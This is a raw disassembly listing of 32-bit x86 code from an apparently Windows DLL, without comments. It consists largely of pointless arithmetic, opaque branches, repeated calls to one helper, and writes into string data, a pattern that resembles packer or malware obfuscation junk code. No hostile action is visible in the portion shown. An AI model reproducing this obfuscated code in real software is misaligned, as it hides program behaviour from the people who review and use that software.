movzx eax, word [ebp - 0x10]
cdq
push 0xad2a6
push 0x586bebee
push edx
push eax
call fcn.1007a8a0
mov word [0x100ad0cc], ax
cmp dword [ebp - 0x1f8], 0x252d
jle 0x10055b91
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
movzx eax, byte [ebp - 4]
cdq
mov dword [ebp - 0x1e20], ecx
mov dword [ebp - 0x1e1c], esi
mov dword [ebp - 0x1e28], eax
mov dword [ebp - 0x1e24], edx
mov edx, dword [ebp - 0x1e1c]
cmp edx, dword [ebp - 0x1e24]
ja 0x10055b7d
jb 0x10055ae1
mov eax, dword [ebp - 0x1e20]
cmp eax, dword [ebp - 0x1e28]
ja 0x10055b7d
movzx eax, word [ebp - 0x18]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x229c], eax
add ecx, edx
movzx eax, word [ebp - 0x18]
cdq
sub eax, ecx
mov word [ebp - 0x18], ax
movzx ecx, byte [ebp - 4]
mov edx, dword [0x100ad0e0]
imul edx, ecx
mov dword [0x100ad0e0], edx
movsx eax, byte [str.E2_wcsrchr]
cdq
mov ecx, dword [0x100ad0fc]
push ecx
mov ecx, dword [0x100ad0f8]
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
movsx eax, byte [str.E2_wcsrchr]
cdq
add eax, ecx
mov byte [str.E2_wcsrchr], al
mov edx, dword [ebp - 0x48]
xor eax, eax
push 0x509cd
push 0x7e9c6982
push eax
push edx
call fcn.1007a8a0
mov dword [0x100ad0b4], eax
movzx eax, byte [ebp - 4]
cdq
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x22a0], edx
sub eax, ecx
mov byte [ebp - 2], al
mov eax, dword [0x100adbec]
mov dword [0x100ad0a8], eax
mov ecx, dword [ebp - 0x1f8]
sub ecx, 1
mov dword [ebp - 0x1f8], ecx
jmp 0x10055a88
jmp 0x10055bdc
mov dword [0x100ad140], 0x8a272520
imul edx, dword [ebp - 0x48], 0x7a
xor eax, eax
mov dword [0x100ad0f8], edx
mov dword [0x100ad0fc], eax
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
movsx edx, word [0x100ad11c]
movzx eax, word [0x100ad0ac]
add edx, eax
movsx ecx, word [0x100ad11c]
add ecx, edx
mov word [0x100ad11c], cx
imul edx, dword [ebp - 0x34], 0x7ecb4830
mov word [0x100ad120], dx
movzx eax, word [0x100ad0ac]
add eax, 0x6894
mov byte [ebp - 2], al
mov ecx, dword [ebp - 0xb4]
movzx edx, word [ebp + ecx*2 - 0x158]
mov dword [ebp - 0x80], edx
mov eax, 0x34520
mov dword [0x100ad110], 0xac3e1428
mov dword [0x100ad114], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x1e30], ecx
mov dword [ebp - 0x1e2c], edx
mov eax, dword [ebp - 0x1e30]
or eax, dword [ebp - 0x1e2c]
je 0x10055cbc
mov dword [ebp - 0x44], 4
movsx ecx, byte [ebp - 2]
imul edx, ecx, 0x2e
mov word [ebp - 0x10], dx
mov dword [ebp - 0x38], 0xd114
mov al, byte [0x100ad0a6]
sub al, 1
mov byte [0x100ad0a6], al
movsx eax, byte [ebp - 1]
cdq
mov dword [0x100ad128], eax
mov dword [0x100ad12c], edx
jmp 0x10055d40
movsx ecx, byte [0x100ad042]
test ecx, ecx
je 0x10055d40
mov edx, dword [0x100ad0f8]
sub edx, 0xe1224cd5
mov dword [ebp - 0x44], edx
movsx eax, byte [str.ZFreeSid]
movsx ecx, word [0x100ad0c0]
imul eax, ecx
movsx edx, byte [str.ZFreeSid]
sub edx, eax
mov byte [str.ZFreeSid], dl
movsx eax, byte [0x100ad09a]
sub eax, 0xb606
movsx ecx, word [0x100ad0e4]
sub ecx, eax
mov word [0x100ad0e4], cx
mov edx, 8
mov word [0x100ad130], dx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x22a4], ecx
sub eax, 0xb03f531b
mov word [0x100ad0b8], ax
mov dx, word [0x100adbec]
mov word [ebp - 0xc], dx
movsx eax, byte [ebp - 2]
add eax, 1
cdq
mov dword [ebp - 0x1e38], eax
mov dword [ebp - 0x1e34], edx
mov eax, dword [0x100ad110]
cmp eax, dword [ebp - 0x1e38]
jne 0x1005640d
mov ecx, dword [0x100ad114]
cmp ecx, dword [ebp - 0x1e34]
jne 0x1005640d
movsx eax, word [0x100ad0cc]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x1e40], eax
mov dword [ebp - 0x1e3c], edx
mov dword [ebp - 0x1e48], ecx
mov dword [ebp - 0x1e44], esi
mov edx, dword [ebp - 0x1e3c]
cmp edx, dword [ebp - 0x1e44]
jb 0x1005603c
ja 0x10055dc3
mov eax, dword [ebp - 0x1e40]
cmp eax, dword [ebp - 0x1e48]
jbe 0x1005603c
movzx ecx, byte [0x100ad0a6]
test ecx, ecx
je 0x10055f94
movzx edx, word [0x100ad0ac]
movzx eax, byte [ebp - 3]
cmp edx, eax
jge 0x10055ded
mov dword [ebp - 0x564], 1
jmp 0x10055df7
mov dword [ebp - 0x564], 0
movzx ecx, word [0x100ad0ac]
cmp ecx, 0x1a
jge 0x10055e0f
mov dword [ebp - 0x568], 1
jmp 0x10055e19
mov dword [ebp - 0x568], 0
mov edx, dword [ebp - 0x564]
cmp edx, dword [ebp - 0x568]
jg 0x10055eb3
movsx eax, word [0x100ad0bc]
movsx ecx, word [0x100ad0d0]
add eax, ecx
movsx edx, word [0x100ad0bc]
sub edx, eax
mov word [0x100ad0bc], dx
movzx eax, word [ebp - 0x28]
cdq
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov dword [ebp - 0x22a8], edx
sub eax, ecx
mov word [ebp - 0x28], ax
movzx eax, byte [ebp - 4]
sub eax, 0x28
cdq
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
movzx eax, word [ebp - 0x20]
not eax
mov byte [ebp - 2], al
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x22ac], edx
add ecx, 0x88b6
mov dword [ebp - 0x38], ecx
movzx eax, word [ebp - 0x28]
mov ecx, 4
imul edx, ecx, 0xb3
mov dword [edx + 0x100c0050], eax
jmp 0x10055f8f
movsx eax, word [ebp - 0x1c]
movsx ecx, word [ebp - 0x1c]
cmp eax, ecx
jle 0x10055ecb
mov dword [ebp - 0x56c], 1
jmp 0x10055ed5
mov dword [ebp - 0x56c], 0
movsx edx, byte [0x100ad073]
mov eax, dword [ebp - 0x56c]
not eax
cmp edx, eax
jg 0x10055f8f
movsx ecx, byte [ebp - 1]
test ecx, ecx
je 0x10055f00
movzx edx, byte [ebp - 4]
mov dword [ebp - 0x570], edx
jmp 0x10055f0a
movzx eax, word [ebp - 0x10]
mov dword [ebp - 0x570], eax
mov eax, dword [ebp - 0x570]
cdq
mov dword [0x100ad108], eax
mov dword [0x100ad10c], edx
mov ecx, dword [0x100ad0d8]
mov edx, dword [0x100ad0dc]
mov dword [ebp - 0x22b0], edx
xor ecx, 0xc7
mov byte [str.ZFreeSid], cl
movsx eax, word [0x100ad0c0]
imul eax, dword [ebp - 0x44]
mov word [0x100ad0c0], ax
movsx eax, word [0x100ad11c]
not eax
cdq
mov ecx, eax
mov esi, edx
sub ecx, 0xea55a31e
sbb esi, 0xdfb5d
mov eax, dword [0x100ad0a8]
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
not eax
mov dword [0x100ad15c], eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
sbb ecx, edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
jmp 0x10056037
movsx edx, word [0x100ad0cc]
not edx
test edx, edx
je 0x10056037
movzx eax, byte [ebp - 3]
test eax, eax
jne 0x10055fb9
mov dword [ebp - 0x574], 1
jmp 0x10055fc3
mov dword [ebp - 0x574], 0
movzx ecx, word [ebp - 0x20]
test ecx, ecx
jne 0x10055fd7
mov dword [ebp - 0x578], 1
jmp 0x10055fe1
mov dword [ebp - 0x578], 0
mov edx, dword [ebp - 0x574]
imul edx, dword [ebp - 0x578]
mov eax, dword [ebp - 0x44]
imul eax, edx
test eax, eax
jne 0x10055ffe
mov byte [ebp - 0x6a], 1
jmp 0x10056002
mov byte [ebp - 0x6a], 0
mov cl, byte [ebp - 0x6a]
mov byte [ebp - 2], cl
movzx edx, word [ebp - 0x24]
movzx eax, word [0x100ad0f0]
imul edx, eax
mov word [ebp - 0x24], dx
movzx ecx, byte [ebp - 4]
add ecx, 0x4e5bf668
mov word [0x100ad0c0], cx
movzx dx, byte [0x100ad0a6]
mov word [ebp - 0xc], dx
jmp 0x100561e1
cmp dword [0x100ad100], 0
jne 0x10056051
mov dword [ebp - 0x580], 1
jmp 0x1005605b
mov dword [ebp - 0x580], 0
movzx eax, word [ebp - 0x18]
cmp dword [0x100ad0a8], eax
jg 0x10056073
mov dword [ebp - 0x57c], 1
jmp 0x1005607d
mov dword [ebp - 0x57c], 0
mov ecx, dword [ebp - 0x57c]
not ecx
cmp dword [ebp - 0x580], ecx
jne 0x100561e1
movsx edx, byte [0x100ad00d]
mov eax, dword [0x100ad140]
sub eax, edx
mov ecx, dword [0x100ad140]
add ecx, eax
mov dword [0x100ad140], ecx
movsx eax, word [0x100ad0c0]
cdq
add eax, 0xc94f077b
adc edx, 0x8e04f
mov dword [ebp - 0x1e50], eax
mov dword [ebp - 0x1e4c], edx
mov edx, dword [ebp - 0x1e50]
or edx, dword [ebp - 0x1e4c]
jne 0x100560e6
mov dword [ebp - 0x584], 1
jmp 0x100560f0
mov dword [ebp - 0x584], 0
movzx eax, byte [0x100ad072]
movzx ecx, byte [0x100ad072]
sub eax, ecx
add eax, dword [ebp - 0x584]
cdq
mov esi, eax
mov edi, edx
movsx eax, byte [ebp - 5]
cdq
mov ecx, dword [ebp - 0x50]
mov ebx, dword [ebp - 0x4c]
push edx
push eax
push ebx
push ecx
call fcn.1007a8a0
mov ecx, eax
mov ebx, edx
movsx eax, word [ebp - 0x14]
add eax, dword [ebp - 0x38]
not eax
cdq
add ecx, eax
adc ebx, edx
push ebx
push ecx
push edi
push esi
call fcn.1007a8a0
not eax
mov word [ebp - 0xc], ax
mov edx, dword [0x100ad0a8]
mov eax, 2
imul ecx, eax, 0x25ff
mov word [ecx + 0x101e2818], dx
mov edx, dword [ebp - 0x34]
xor edx, 0x90fd4a9b
mov word [ebp - 0x24], dx
movsx eax, byte [ebp - 1]
xor eax, dword [ebp - 0x34]
jne 0x1005617a
mov dword [ebp - 0x588], 1
jmp 0x10056184
mov dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x44]
cdq
mov ecx, eax
mov esi, edx
xor ecx, dword [0x100ad128]
xor esi, dword [0x100ad12c]
movsx eax, byte [ebp - 1]
movzx edx, word [0x100ad0b8]
imul eax, edx
cdq
sub ecx, eax
sbb esi, edx
movsx eax, word [0x100ad0c0]
imul eax, dword [ebp - 0x588]
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
movsx ecx, byte [ebp - 1]
movsx edx, byte [ebp - 1]
sub ecx, edx
movsx eax, byte [ebp - 1]
add eax, ecx
mov byte [ebp - 1], al
mov ecx, 2
imul edx, ecx, 0x34
movzx eax, word [edx + 0x101ebdf8]
cdq
mov ecx, dword [0x100ad108]
mov esi, dword [0x100ad10c]
add ecx, eax
adc esi, edx
mov dword [0x100ad108], ecx
mov dword [0x100ad10c], esi
mov dl, byte [0x100adbec]
mov byte [0x100ad00d], dl
mov ecx, dword [0x100ad128]
mov edx, dword [0x100ad12c]
mov dword [ebp - 0x22b4], edx
not ecx
movzx eax, word [ebp - 0x28]
cdq
xor ecx, eax
xor ecx, dword [0x100ad160]
xor ecx, dword [0x100ad140]
not ecx
mov word [ebp - 0x14], cx
mov eax, 0x33f7
sub eax, dword [0x100ad140]
jne 0x1005625f
mov dword [ebp - 0x58c], 1
jmp 0x10056269
mov dword [ebp - 0x58c], 0
movsx eax, byte [ebp - 2]
movzx ecx, word [ebp - 0x28]
add eax, ecx
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x1e58], ecx
mov dword [ebp - 0x1e54], esi
mov edx, dword [ebp - 0x1e58]
or edx, dword [ebp - 0x1e54]
jne 0x100562a4
mov dword [ebp - 0x590], 1
jmp 0x100562ae
mov dword [ebp - 0x590], 0
movzx eax, byte [ebp - 4]
mov ecx, dword [ebp - 0x38]
sub ecx, eax
imul ecx, dword [ebp - 0x58c]
not ecx
xor ecx, dword [ebp - 0x590]
mov eax, ecx
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
movsx edx, byte [0x100ad00e]
cmp edx, 1
jne 0x1005640d
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1e60], eax
mov dword [ebp - 0x1e5c], ecx
mov edx, dword [ebp - 0x1e60]
or edx, dword [ebp - 0x1e5c]
je 0x10056319
mov eax, 0x20eb2946
test eax, eax
je 0x10056319
mov dword [ebp - 0x594], 1
jmp 0x10056323
mov dword [ebp - 0x594], 0
movzx ecx, byte [ebp - 4]
cmp dword [ebp - 0x594], ecx
jle 0x10056331
jmp 0x10056376
mov edx, 1
mov word [0x100ad0f0], dx
movsx eax, byte [0x100ad073]
add eax, dword [ebp - 0x44]
movsx ecx, byte [ebp - 1]
imul ecx, dword [ebp - 0x38]
imul eax, ecx
mov dword [ebp - 0x38], eax
movzx edx, byte [0x100ad00f]
not edx
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
add eax, 0x4d90
adc ecx, 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
jmp 0x1005640d
mov edx, 0x34520
mov dword [0x100ad110], 0xac3e1428
mov dword [0x100ad114], edx
mov eax, dword [0x100ad0a8]
shl eax, 2
mov word [0x100ad120], ax
mov cx, word [ebp - 0x18]
add cx, 1
mov word [ebp - 0x18], cx
movzx edx, word [ebp - 0x24]
not edx
add edx, dword [ebp - 0x34]
jne 0x10056453
mov dword [ebp - 0x5a0], 1
jmp 0x1005645d
mov dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x44]
add eax, 0xd7
movsx ecx, word [0x100ad0cc]
add ecx, dword [ebp - 0x34]
sub eax, ecx
xor eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x38], eax
call dword [sym.imp.USER32.dll_GetDialogBaseUnits]
mov word [ebp - 0x10], ax
movzx edx, word [0x100ad0ac]
movsx eax, byte [0x100ad037]
cmp edx, eax
jle 0x100564a2
mov dword [ebp - 0x5a4], 1
jmp 0x100564ac
mov dword [ebp - 0x5a4], 0
movzx ecx, word [ebp - 0x28]
cmp dword [ebp - 0x5a4], ecx
jg 0x100565bb
movsx edx, word [0x100ad0c0]
movsx eax, byte [0x100ad00e]
cmp edx, eax
jg 0x100564da
mov dword [ebp - 0x5a8], 1
jmp 0x100564e4
mov dword [ebp - 0x5a8], 0
movsx ecx, word [0x100ad0c0]
cmp ecx, 0x50
jg 0x100564fc
mov dword [ebp - 0x5ac], 1
jmp 0x10056506
mov dword [ebp - 0x5ac], 0
mov edx, dword [ebp - 0x5a8]
cmp edx, dword [ebp - 0x5ac]
jle 0x1005654d
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x22b8], ecx
add eax, 0x7a52
mov dword [ebp - 0x44], eax
mov byte [str.ZFreeSid], 0x18
mov dl, byte [ebp - 2]
mov byte [0x100ad043], dl
movsx eax, word [0x100ad0b0]
imul ecx, eax, 0xc657378
mov dword [0x100ad0c8], ecx
jmp 0x100565b9
movsx edx, word [0x100ad0bc]
movsx eax, byte [ebp - 1]
sub edx, eax
je 0x100565b9
mov ecx, dword [0x100ad0c8]
add ecx, 0xeba2132
mov dword [0x100ad0a8], ecx
movzx eax, word [0x100ad0b8]
cdq
sub eax, 0x256ca082
mov dword [0x100ad0e0], eax
movsx edx, word [ebp - 0x14]
movsx eax, word [ebp - 0xc]
add edx, eax
movsx ecx, word [ebp - 0x14]
xor ecx, edx
mov word [ebp - 0x14], cx
mov edx, 1
imul eax, edx, 0x6ab0
mov cl, byte [0x100ad072]
mov byte [eax + 0x100d57e0], cl
mov dx, word [0x100adbec]
mov word [0x100ad0bc], dx
jmp 0x100565f2
movzx eax, word [ebp - 0x24]
mov ecx, dword [ebp - 0x44]
and ecx, eax
mov edx, dword [ebp - 0x44]
imul edx, ecx
mov dword [ebp - 0x44], edx
movzx eax, byte [ebp - 4]
cdq
push 0x89886
push 0xa63346ee
push edx
push eax
call fcn.1007a8a0
mov dword [0x100ad118], eax
mov ax, word [0x100ad0f8]
mov word [ebp - 0x28], ax
mov ecx, dword [ebp - 0x80]
add ecx, 1
mov dword [ebp - 0x80], ecx
xorps xmm0, xmm0
movlpd qword [0x100ad108], xmm0
mov edx, dword [0x100ad140]
imul edx, dword [0x100ad158]
not edx
xor eax, eax
mov dword [0x100ad150], edx
mov dword [0x100ad154], eax
movzx ecx, word [ebp - 0x24]
movzx edx, byte [0x100ad072]
imul ecx, edx
mov word [ebp - 0x24], cx
movzx eax, byte [str.px_04X_]
add eax, dword [0x100ad158]
movzx ecx, byte [str.px_04X_]
add ecx, eax
mov byte [str.px_04X_], cl
movsx eax, word [ebp - 0xc]
cdq
push 0xa82dc
push 0x5143adff
push edx
push eax
call fcn.1007a8a0
mov word [0x100ad0f0], ax
movzx edx, byte [0x100ad072]
test edx, edx
je 0x1005667f
mov al, byte [ebp - 5]
mov byte [ebp - 0x6b], al
jmp 0x10056688
mov cl, byte [0x100ad00e]
mov byte [ebp - 0x6b], cl
movsx eax, byte [ebp - 0x6b]
cdq
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
mov edx, dword [0x100ad108]
mov eax, dword [0x100ad10c]
mov dword [ebp - 0x1e68], edx
mov dword [ebp - 0x1e64], eax
mov ecx, dword [ebp - 0x1e68]
or ecx, dword [ebp - 0x1e64]
je 0x100566c2
jmp 0x10056756
xor edx, edx
mov dword [ebp - 0x50], 0x32
mov dword [ebp - 0x4c], edx
movzx eax, word [ebp - 0x28]
add eax, dword [0x100ad0b4]
mov word [ebp - 0x28], ax
mov cx, word [0x100adbec]
mov word [ebp - 0x28], cx
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
mov dword [ebp - 0x1e70], edx
mov dword [ebp - 0x1e6c], eax
mov ecx, dword [ebp - 0x1e70]
or ecx, dword [ebp - 0x1e6c]
jne 0x10056718
mov dword [ebp - 0x5b0], 1
jmp 0x10056722
mov dword [ebp - 0x5b0], 0
movzx edx, byte [0x100ad00f]
not edx
add edx, dword [ebp - 0x5b0]
mov byte [ebp - 3], dl
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x38]
movzx ecx, byte [ebp - 3]
not ecx
xor ecx, 0xe152
imul eax, ecx
not eax
sub eax, dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x80]
xor eax, 0xcb
mov dword [ebp - 0x80], eax
call dword [sym.imp.KERNEL32.dll_GetACP]
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x1fc]
sub ecx, dword [ebp - 0x1fc]
imul edx, ecx, 0
mov eax, dword [ebp - 0x1c94]
sub eax, dword [ebp - 0x5b4]
mov ecx, dword [ebp - 0x1fc]
add ecx, dword [ebp - 0x5b4]
imul eax, ecx
imul edx, eax
add edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x80]
sub eax, edx
mov dword [ebp - 0x80], eax
xor ecx, ecx
mov dword [0x100ad150], 0x8297
mov dword [0x100ad154], ecx
mov eax, dword [0x100ad118]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
add ecx, 0xd623
adc esi, 0
mov dword [ebp - 0x1e78], eax
mov dword [ebp - 0x1e74], edx
mov dword [ebp - 0x1e80], ecx
mov dword [ebp - 0x1e7c], esi
mov edx, dword [ebp - 0x1e78]
cmp edx, dword [ebp - 0x1e80]
jne 0x10056abf
mov eax, dword [ebp - 0x1e74]
cmp eax, dword [ebp - 0x1e7c]
jne 0x10056abf
movsx ecx, word [0x100ad0bc]
movsx edx, word [ebp - 0x14]
add ecx, edx
cmp ecx, 1
jne 0x10056abf
movsx eax, word [ebp - 0xc]
test eax, eax
je 0x10056943
mov dword [ebp - 0x200], 0xbc
jmp 0x10056846
mov ecx, dword [ebp - 0x200]
sub ecx, 1
mov dword [ebp - 0x200], ecx
cmp dword [ebp - 0x200], 0
jle 0x1005693e
movsx edx, word [0x100ad130]
cmp dword [ebp - 0x34], edx
jl 0x1005686b
mov dword [ebp - 0x5b8], 1
jmp 0x10056875
mov dword [ebp - 0x5b8], 0
movzx eax, word [ebp - 0x28]
cmp dword [ebp - 0x5b8], eax
jl 0x1005688d
mov dword [ebp - 0x5c0], 1
jmp 0x10056897
mov dword [ebp - 0x5c0], 0
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x1e88], ecx
mov dword [ebp - 0x1e84], edx
mov eax, dword [ebp - 0x1e88]
or eax, dword [ebp - 0x1e84]
je 0x100568d6
cmp dword [ebp - 0x44], 0
jne 0x100568d6
movsx ecx, word [0x100ad0c4]
not ecx
test ecx, ecx
je 0x100568d6
mov dword [ebp - 0x5bc], 1
jmp 0x100568e0
mov dword [ebp - 0x5bc], 0
mov edx, dword [ebp - 0x5bc]
not edx
or edx, dword [ebp - 0x5c0]
je 0x1005692d
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 0
je 0x1005692d
mov eax, dword [ebp - 0x5c4]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
mov dword [ebp - 0x1c98], eax
push 1
mov ecx, dword [ebp - 0x1c98]
push ecx
call dword [sym.imp.USER32.dll_GetSubMenu]
mov dword [ebp - 0x22bc], eax
mov dx, word [ebp - 0x14]
add dx, 1
mov word [ebp - 0x14], dx
jmp 0x10056837
jmp 0x10056a33
mov eax, dword [0x100ad0c8]
cmp eax, dword [ebp - 0x34]
jne 0x10056959
mov dword [ebp - 0x5cc], 1
jmp 0x10056963
mov dword [ebp - 0x5cc], 0
movsx eax, word [0x100ad0b0]
cdq
mov dword [ebp - 0x1e90], eax
mov dword [ebp - 0x1e8c], edx
mov ecx, dword [0x100ad164]
cmp ecx, dword [ebp - 0x1e8c]
jb 0x100569a1
ja 0x10056995
mov edx, dword [0x100ad160]
cmp edx, dword [ebp - 0x1e90]
jb 0x100569a1
mov dword [ebp - 0x5c8], 1
jmp 0x100569ab
mov dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x5c8]
not eax
add eax, dword [ebp - 0x5cc]
je 0x10056a33
movzx ecx, byte [0x100ad072]
imul eax, ecx, 0xbc72
cdq
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
movsx edx, byte [ebp - 1]
imul eax, edx, 0xa
mov byte [ebp - 1], al
movzx ecx, byte [0x100ad0a6]
test ecx, ecx
je 0x100569f5
movzx edx, word [ebp - 0x10]
mov dword [ebp - 0x5d0], edx
jmp 0x10056a02
movsx eax, word [0x100ad0d0]
mov dword [ebp - 0x5d0], eax
mov cl, byte [ebp - 0x5d0]
mov byte [0x100ad037], cl
movsx edx, byte [0x100ad037]
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x34], edx
mov eax, 1
mov word [ebp - 0x24], ax
movsx ecx, word [ebp - 0xc]
movsx edx, byte [ebp - 5]
lea eax, [edx + ecx + 0x25]
mov byte [ebp - 5], al
jmp 0x100567a6
mov edx, 3
mov word [ebp - 0x20], dx
mov eax, dword [0x100ad150]
mov dword [0x100ad0a8], eax
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x34], ecx
movzx edx, word [ebp - 0x20]
mov dword [ebp - 0x5d8], edx
cmp dword [ebp - 0x5d8], 3
ja case.default.0x10056af8
mov eax, dword [ebp - 0x5d8]
jmp dword [eax*4 + 0x100788b4]
mov ecx, dword [0x100ad15c]
mov byte [0x100ad072], cl
mov dl, byte [0x100adbec]
mov byte [0x100ad00e], dl
mov eax, 0x1d210
mov dword [0x100ad108], 0xbca2c35e
mov dword [0x100ad10c], eax
mov eax, dword [0x100ad158]
cdq
sub eax, 0x34de41f4
mov dword [0x100ad100], eax
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x40]
xor edx, 0xaa7cce19
mov byte [str.E2_wcsrchr], dl
jmp case.default.0x10056af8
mov eax, dword [0x100ad0a8]
cdq
push 0xee3d
push 0x1008aaa8
push edx
push eax
call fcn.1007a8a0
mov word [0x100ad0d0], ax
movsx eax, byte [0x100ad043]
cdq
mov ecx, eax
add ecx, 0xa2f0490b
movzx eax, word [ebp - 0x20]
cdq
add eax, ecx
mov word [ebp - 0x20], ax
mov edx, dword [ebp - 0x44]
add edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
add eax, edx
mov dword [ebp - 0x44], eax
movsx ecx, byte [0x100ad037]
movzx edx, byte [ebp - 3]
sub ecx, edx
movsx eax, byte [0x100ad037]
or eax, ecx
mov byte [0x100ad037], al
jmp case.default.0x10056af8
movsx ecx, byte [0x100ad042]
mov dword [0x100ad158], ecx
xor edx, edx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x3c]
sbb ecx, edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov edx, 2
imul eax, edx, 0x2d3d
movzx eax, word [eax + 0x101e2818]
cdq
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
jmp case.default.0x10056af8
mov ecx, dword [ebp - 0x48]
add ecx, 0x75
mov dword [ebp - 0x48], ecx
movsx eax, byte [0x100ad00d]
cdq
add eax, 0x815018c8
mov word [ebp - 0x18], ax
imul edx, dword [0x100ad0b4], 0x1034a536
mov byte [0x100ad00e], dl
mov eax, dword [ebp - 0xb4]
mov cx, word [ebp - 0x80]
mov word [ebp + eax*2 - 0x158], cx
jmp 0x1005574f
mov dword [ebp - 0x204], 0x132
jmp 0x10056c52
mov edx, dword [ebp - 0x204]
sub edx, 1
mov dword [ebp - 0x204], edx
cmp dword [ebp - 0x204], 0
jle 0x10056ea9
movsx eax, byte [ebp - 2]
test eax, eax
je 0x10056ccc
movsx ecx, word [0x100ad0bc]
mov edx, dword [ebp - 0x44]
add edx, ecx
mov eax, dword [ebp - 0x44]
sub eax, edx
mov dword [ebp - 0x44], eax
mov ecx, dword [0x100adbec]
xor edx, edx
mov dword [0x100ad108], ecx
mov dword [0x100ad10c], edx
mov eax, dword [0x100ad140]
xor ecx, ecx
mov edx, dword [ebp - 0x3c]
push edx
mov edx, dword [ebp - 0x40]
push edx
push ecx
push eax
call fcn.1007a8a0
mov dword [0x100ad140], eax
movzx eax, byte [0x100ad0a6]
movsx ecx, word [ebp - 0x1c]
sub eax, ecx
movzx edx, byte [0x100ad0a6]
imul edx, eax
mov byte [0x100ad0a6], dl
jmp 0x10056e88
mov eax, 1
test eax, eax
je 0x10056ceb
mov byte [str.ZFreeSid], 2
movsx ecx, byte [ebp - 5]
add ecx, 8
mov dword [ebp - 0x48], ecx
jmp 0x10056e88
cmp dword [0x100ad0c8], 0
je 0x10056d5f
movzx eax, byte [0x100ad072]
cdq
mov ecx, dword [0x100ad128]
mov esi, dword [0x100ad12c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov ecx, dword [0x100ad128]
mov esi, dword [0x100ad12c]
add ecx, eax
adc esi, edx
mov dword [0x100ad128], ecx
mov dword [0x100ad12c], esi
movzx eax, byte [ebp - 4]
cdq
mov ecx, dword [ebp - 0x40]
sub ecx, eax
movsx eax, word [ebp - 0x1c]
movzx edx, word [ebp - 0x24]
add eax, edx
cdq
add ecx, eax
mov word [ebp - 0x14], cx
movzx eax, word [ebp - 0x20]
movsx ecx, byte [0x100ad043]
imul eax, ecx
mov word [ebp - 0x20], ax
jmp 0x10056e88
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
mov dword [ebp - 0x1e98], edx
mov dword [ebp - 0x1e94], eax
mov ecx, dword [ebp - 0x1e98]
or ecx, dword [ebp - 0x1e94]
jne 0x10056d90
mov dword [ebp - 0x5dc], 1
jmp 0x10056d9a
mov dword [ebp - 0x5dc], 0
mov edx, dword [0x100ad15c]
cmp edx, dword [ebp - 0x5dc]
jg 0x10056db4
mov dword [ebp - 0x5e0], 1
jmp 0x10056dbe
mov dword [ebp - 0x5e0], 0
movsx eax, byte [0x100ad073]
not eax
movzx ecx, word [ebp - 0x20]
cmp eax, ecx
je 0x10056ddb
mov dword [ebp - 0x5e4], 1
jmp 0x10056de5
mov dword [ebp - 0x5e4], 0
mov edx, dword [ebp - 0x5e0]
cmp edx, dword [ebp - 0x5e4]
jle 0x10056e88
mov eax, dword [0x100ad0b4]
cdq
mov ecx, dword [0x100ad0d8]
mov esi, dword [0x100ad0dc]
add ecx, eax
adc esi, edx
movzx eax, word [ebp - 0x10]
not eax
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov word [ebp - 0x20], ax
